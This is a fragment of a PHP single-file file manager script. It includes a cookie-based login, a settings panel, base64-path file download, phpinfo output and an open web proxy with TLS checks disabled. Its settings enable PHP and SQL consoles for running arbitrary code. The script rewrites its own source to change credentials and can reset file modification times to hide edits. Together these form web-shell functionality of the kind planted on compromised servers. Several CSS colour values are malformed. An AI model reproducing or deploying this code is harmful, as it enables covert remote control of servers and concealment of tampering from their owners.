<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
